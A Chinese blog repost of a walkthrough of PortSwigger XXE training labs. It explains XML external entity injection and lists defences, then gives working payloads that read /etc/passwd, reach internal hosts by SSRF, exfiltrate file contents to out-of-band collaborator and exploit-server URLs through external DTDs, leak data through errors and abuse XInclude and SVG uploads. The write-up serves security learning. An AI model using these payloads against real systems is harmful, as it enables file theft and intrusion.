XXE漏洞利用技巧(由简入深)-----portswigger(XXE部分WP)

这篇具有很好参考价值的文章主要介绍了XXE漏洞利用技巧(由简入深)-----portswigger(XXE部分WP)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

什么是XXE

XXE(XML External Entity:xml外部实体注入),它出现在使用XML解析器的应用程序中。XXE攻击利用了XML解析器的功能,允许应用程序从外部实体引用加载数据。攻击者可以通过构造恶意的XML实体引用来读取本地文件、执行远程请求或利用其他可用的外部实体来获取敏感信息。

原理

攻击者通过在XML文档中插入恶意的实体引用,诱使应用程序将其解析并加载外部实体。这些外部实体可以是本地文件、远程资源或其他实体。当应用程序解析XML时,如果存在漏洞,它将尝试加载实体的内容并包含在解析过程中。

危害

敏感数据泄露:攻击者可以利用XXE漏洞读取应用程序的敏感数据,如配置文件、密码文件、数据库凭据等。通过构造恶意的实体引用,攻击者可以请求并获取这些敏感信息,从而对系统进行进一步的攻击或滥用。

远程代码执行:在某些情况下,XXE漏洞可以被利用来执行远程代码。攻击者可以构造恶意的实体引用,使应用程序解析并执行外部实体中嵌入的恶意代码。这可能导致服务器被入侵、远程命令执行、拒绝服务攻击等安全问题。

内部资源访问:XXE攻击还可以被用于访问应用程序内部的其他资源。攻击者可以构造实体引用,尝试读取服务器上的文件、访问网络资源或执行其他与应用程序相关的操作。

服务拒绝:通过构造恶意的DTD(Document Type Definition),攻击者可以触发实体扩展攻击,导致内存耗尽或服务拒绝。这会使应用程序无法正常运行或响应其他合法用户的请求。

防御

1、使用安全的XML解析器,如禁用实体解析或限制外部实体的访问权限。
2、验证和过滤输入的XML数据,移除或编码潜在的恶意实体引用。
3、使用白名单验证来限制解析器可以引用的外部实体。
4、避免将用户提供的XML数据与机密信息混合在一起,尤其是在解析XML之前。

具体案例(来源)

利用xxe读取内部文件

基本利用:<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
XXE漏洞利用技巧(由简入深)-----portswigger(XXE部分WP),portswigger,网络,安全,web安全

利用xxe执行ssrf

<!DOCTYPE test [<!ENTITY xxe SYSTEM "http://172.16.12.1/latest">]>

XXE漏洞利用技巧(由简入深)-----portswigger(XXE部分WP),portswigger,网络,安全,web安全

带外交互的盲 XXE

<!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "http://e4jy5632clemtbljaoi7jyccl3rufn3c.oastify.com"> ]>

XXE漏洞利用技巧(由简入深)-----portswigger(XXE部分WP),portswigger,网络,安全,web安全
这里未显示,但是在collaborator选项卡可以看到dns和http的回显:
XXE漏洞利用技巧(由简入深)-----portswigger(XXE部分WP),portswigger,网络,安全,web安全

通过 XML 参数实体进行带外交互的盲 XXE

<!DOCTYPE stockCheck [<!ENTITY % xxe SYSTEM "http://cgwwh4f0ojqk59xhmmu5vwoax13srmfb.oastify.com"> %xxe; ]>

XXE漏洞利用技巧(由简入深)-----portswigger(XXE部分WP),portswigger,网络,安全,web安全
看collaborator选项卡:
XXE漏洞利用技巧(由简入深)-----portswigger(XXE部分WP),portswigger,网络,安全,web安全

利用盲 XXE 使用恶意外部 DTD 泄露数据

1、首先复制
XXE漏洞利用技巧(由简入深)-----portswigger(XXE部分WP),portswigger,网络,安全,web安全
2、粘贴:

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://569p7x5tecgdv2nacfkylpe3nutohh56.oastify.com/?x=%file;'>">
%eval;
%exfil;

3、复制服务器恶意dtd文件
XXE漏洞利用技巧(由简入深)-----portswigger(XXE部分WP),portswigger,网络,安全,web安全
4、构造payload:

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0ae50065037b32a98298a1b9012c004f.exploit-server.net/exploit"> %xxe;]>

XXE漏洞利用技巧(由简入深)-----portswigger(XXE部分WP),portswigger,网络,安全,web安全
5、发送后等待数秒
XXE漏洞利用技巧(由简入深)-----portswigger(XXE部分WP),portswigger,网络,安全,web安全

利用盲 XXE 通过错误消息检索数据

1、首先远程构造

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'file:///invalid/%file;'>">
%eval;
%exfil;

XXE漏洞利用技巧(由简入深)-----portswigger(XXE部分WP),portswigger,网络,安全,web安全
记住url。
2、构造payload

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0ae500640465e735830aab290124004a.exploit-server.net/exploit"> %xxe;]>

3、放包
XXE漏洞利用技巧(由简入深)-----portswigger(XXE部分WP),portswigger,网络,安全,web安全

利用 XInclude 检索文件

由于您无法控制整个 XML 文档,因此无法定义 DTD 来发起经典的 XXE 攻击。

若要解决实验室问题,请注入一个 XInclude 语句来检索 /etc/passwd 文件的内容。

默认情况下, XInclude 将尝试将包含的文档解析为 XML。由于不是有效的 XML,因此 /etc/passwd 需要向
XInclude 指令添加额外的属性才能更改此行为。

将 productId 参数的值设置为:

<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>

XXE漏洞利用技巧(由简入深)-----portswigger(XXE部分WP),portswigger,网络,安全,web安全

通过图像文件上传利用XXE

构造payload:

<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>

制作为.svg格式,上传
XXE漏洞利用技巧(由简入深)-----portswigger(XXE部分WP),portswigger,网络,安全,web安全

利用 XXE 通过重新调整本地 DTD 的用途来检索数据

构造payload:

<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

XXE漏洞利用技巧(由简入深)-----portswigger(XXE部分WP),portswigger,网络,安全,web安全文章来源地址https://www.toymoban.com/news/detail-690330.html

到了这里,关于XXE漏洞利用技巧(由简入深)-----portswigger(XXE部分WP)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • XXE漏洞复现步骤

    0X00XXE注入定义 XXE注入,即XML External Entity,XML外部实体注入。通过 XML 实体,”SYSTEM”导致 XML 解析器可以从本地文件或者远程 URI 中读取数据。所以攻击者可以通过 XML 实体传递自己构造的恶意值,是处理程序解析它。当引用外部实体时,通过构造恶意内容,可导

    2024年02月10日
    浏览(41)
  • XXE&XML漏洞详解

      参考:https://www.cnblogs.com/bmjoker/p/9452222.html   这里我对XML也不是太懂,无法对其进行解释,同时也怕解释出现错误,使其误导,这里我发一下参考链接。   XML教程   Extensible Markup Language (XML) 1.0   XML文档结构包括XML声明、DTD类型定义(可选)、文档元素,同时X

    2024年02月02日
    浏览(34)
  • XXE漏洞

    XML是一种用于标记电子文件使其具有结构性的可扩展标记语言。 XML是一种灵活的语言,类似于HTML语言,但是并没有固定的标签,所有标签都可以自定义,其设计的宗旨是传输数据,而不是像HTML一样显示数据。 XML声明 DTD文档类型定义 文档元素 CDATA表示包含字符或者文本数据

    2024年02月16日
    浏览(39)
  • 【web安全】——XXE漏洞快速入门

    作者名:Demo不是emo  主页面链接 : 主页传送门 创作初心: 一切为了她 座右铭: 不要让时代的悲哀成为你的悲哀 专研方向: 网络安全,数据结构 每日emo: 该怎么开口呢?今晚天气不错,但还是想你了 目录  一:初识XXE漏洞 1.XXE简介  2.XML概念 二:XML语法简析 1.XML基础语

    2024年02月07日
    浏览(39)
  • 【XXE漏洞安全-全网最详细讲解】

    作者: liku君 公众号:里库的安全日记 博主微信:L2440710476(请备注来意) XXE(XML External Entity)漏洞是一种安全漏洞,出现在使用XML解析器的应用程序中。它允许攻击者利用可信任的XML扩展功能来执行恶意操作,如读取本地文件、发起远程网络请求或执行任意命令。 XXE漏洞

    2024年04月17日
    浏览(42)
  • 利用EXCEL进行XXE攻击

    Microsoft Office从2007版本引入了新的开放的XML文件格式,新的XML文件格式基于压缩的ZIP文件格式规范,由许多部分组成。 我们可以将其解压缩到特定的文件夹中来查看其包含的文件夹和文件,可以发现其中多数是描述工作簿数据、元数据、文档信息的XML文件。 我们创建一个ex

    2024年02月07日
    浏览(41)
  • XXE-XML实体注入漏洞

    目录 1.xml基础 1.1什么是xml 1.2xml文档结构 1.3  什么是DTD 1.4 什么是实体 1.5 什么是外部实体 2.xxe漏洞 2.1xxe漏洞基本介绍 2.2xxe漏洞的危害 经典漏洞案例分析 3.xxe漏洞挖掘和利用 3.1. 识别潜在的XML入口 3.2. 检查XML处理逻辑 3.3. 构造试探Payload 常见的一般payload  xxe盲注 xxe报错注入

    2024年03月14日
    浏览(77)
  • Apache2-XXE漏洞渗透

    Apache2 Ubuntu Default Page 是一个包含xxe漏洞的页面,如何找到和利用xxe漏洞,并找到flag呢? 首先进行信息收集,nmap是我们的常用工具 靶机地址10.40.2.116 ,可正常访问 在kali中扫描靶机开放端口等信息 可观察到只有80端口开放,没有利用价值 再用dirb扫描目标隐藏文件 dirb http:/

    2024年02月05日
    浏览(56)
  • C生万物 | 从浅入深理解指针【最后部分】

    我们前面学了四个部分了,如果没有看前面的建议可以看一下前面的~~ C生万物 | 从浅入深理解指针【第一部分】 C生万物 | 从浅入深理解指针【第二部分】 C生万物 | 从浅入深理解指针【第三部分】(转移表的实现) C生万物 | 从浅入深理解指针【第四部分】(qsort的使用和模

    2024年02月04日
    浏览(40)
  • 独立部署Xray反练平台——详细说明加举例xxe漏洞

    xray——详细使用说明(二)_萧风的博客-CSDN博客 xray 是一款功能强大的安全评估工具,由多名经验丰富的一线安全从业者呕心打造而成,主要特性有:检测速度快。发包速度快; 漏洞检测算法高效。支持范围广。大至 OWASP Top 10 通用漏洞检测,小至各种 CMS 框架 POC,均可以支持

    2024年02月09日
    浏览(40)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包